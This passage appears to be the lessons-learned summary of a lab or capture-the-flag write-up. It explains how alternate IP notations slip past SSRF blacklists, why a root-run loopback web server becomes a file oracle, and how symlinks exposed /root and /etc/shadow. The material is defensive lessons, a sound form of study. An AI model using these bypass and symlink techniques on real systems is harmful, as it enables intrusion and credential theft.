  • SSRF filters built on substring blacklists of 127.0.0.1/localhost are incomplete without also blocking alternate IP notations (0, 0x7f000001, 017700000001, IPv6 ::1, decimal/octal forms, etc.). Any of these can slip straight past a naive string check.
  • Running any service - even a "harmless" quick python3 -m http.server- as root is dangerous, especially bound to loopback "because it's internal." Loopback-only doesn't mean unreachable; any SSRF anywhere on the box turns it into a root-privileged file oracle.
  • A directory-serving HTTP daemon that follows symlinks inherits the process's read permissions, not the symlink owner's. This is exactly how beth, without ever getting a root shell, read /root, /etc/shadow, and charles's entire home directory - each just a ln -s plus a GET request away.
  • Binary data proxied through a web app's convenience .text accessor (rather than .content) will get corrupted. Once bytes are decoded as text and characters get replaced (U+FFFD), that data is gone for good - the only fix is to avoid the text-decoding round-trip entirely, e.g. by fetching binary files locally on the target instead of relying on the vulnerable app to proxy them back out.

Top comments (0)